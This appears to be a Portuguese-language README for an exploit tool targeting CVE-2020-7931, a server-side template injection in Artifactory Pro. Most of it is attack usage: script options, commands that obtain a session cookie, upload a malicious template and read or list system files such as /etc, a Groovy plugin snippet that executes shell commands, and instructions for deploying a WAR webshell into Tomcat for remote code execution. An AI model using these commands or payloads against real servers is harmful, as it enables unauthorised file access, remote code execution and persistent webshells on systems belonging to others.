
Hackeando Artifactory com injeção de template no lado do servidor
O CVE-2020-7931 é uma espécie de vulnerabilidade de configuração incorreta proposital no Artifactory que permite que atacantes realizem injeções de template no lado do servidor a partir de um template FreeMarker.
A vulnerabilidade foi descoberta por Ryan Hanson da Atredis e foi corrigida para todas as versões afetadas no final de 2019. Ela só funciona nas versões Pro do Artifactory, já que as outras versões não possuem capacidades de template.
Este repositório contém um script e um template.
O template captura o primeiro parâmetro GET para determinar a ação desejada. As ações válidas são:
info Returns info about the current configuration
read <filepath> Reads a file, as is
read_bytes <filepath> Reads a file binarily as integers
list <dirpath> List a directory contents
create_file <filepath> Create an empty file
mkdir <dirpath> Create a folder
delete <filepath> Delete a file or empty folder
move <src> <dst> Move a file (*)
copy <scr_path> <src_file> <dst> Copy a file to the application's web root. Pay attention to the quirky arguments (**)
(*): o move usa o método Java renameTo, que não funciona entre sistemas de arquivos diferentes. Para realizar um move entre sistemas de arquivos, é necessário usar copy e depois move, mais informações abaixo.
(**): a origem deve ser dividida entre o caminho base e o nome do arquivo; o destino é relativo ao caminho raiz da aplicação web do Artifactory, por exemplo, /opt/jfrog/artifactory/tomcat/webapps/artifactory/
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
Default: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
Como vimos, o renameTo() não funciona entre sistemas de arquivos diferentes. Para simular isso, primeiro copie o arquivo e depois mova-o (faça isso imediatamente, ou o Artifactory pode travar!):
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***): Como explicado anteriormente, aqui /bla na verdade se refere a /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla porque root.write() necessariamente escreverá na raiz web da aplicação atual.
Isso permite explorar configurações que armazenam artefatos em um sistema de arquivos separado (o que é uma boa prática!).
Por padrão, em uma instalação do Artifactory, não é possível instanciar classes, portanto o truque comum do freemarker.template.utility.Execute não funcionará.
Existem várias outras maneiras de obter execução remota de código apenas manipulando o sistema de arquivos:
Aqui está um exemplo de um plugin Groovy que realiza execução de shell; exemplos mais elaborados aqui:
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
Os plugins devem ser colocados no caminho de plugins /var/opt/jfrog/artifactory/etc/plugins/ e precisam ser recarregados por meio de uma chamada de API que exige privilégios de administrador do Artifactory:
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
Aqui está um servlet do Tomcat que implementa uma webshell.
Os arquivos WAR devem ser colocados no caminho webapps do Tomcat /opt/jfrog/artifactory/tomcat/webapps/. Por padrão, a implantação de arquivos WAR é automática e iniciará outra aplicação web ao lado da instância do Artifactory, por exemplo, em http://localhost:8081/sample/.
Este é o método preferido, pois não exige privilégios de administrador do Artifactory e é simplesmente mais fácil executar comandos rapidamente.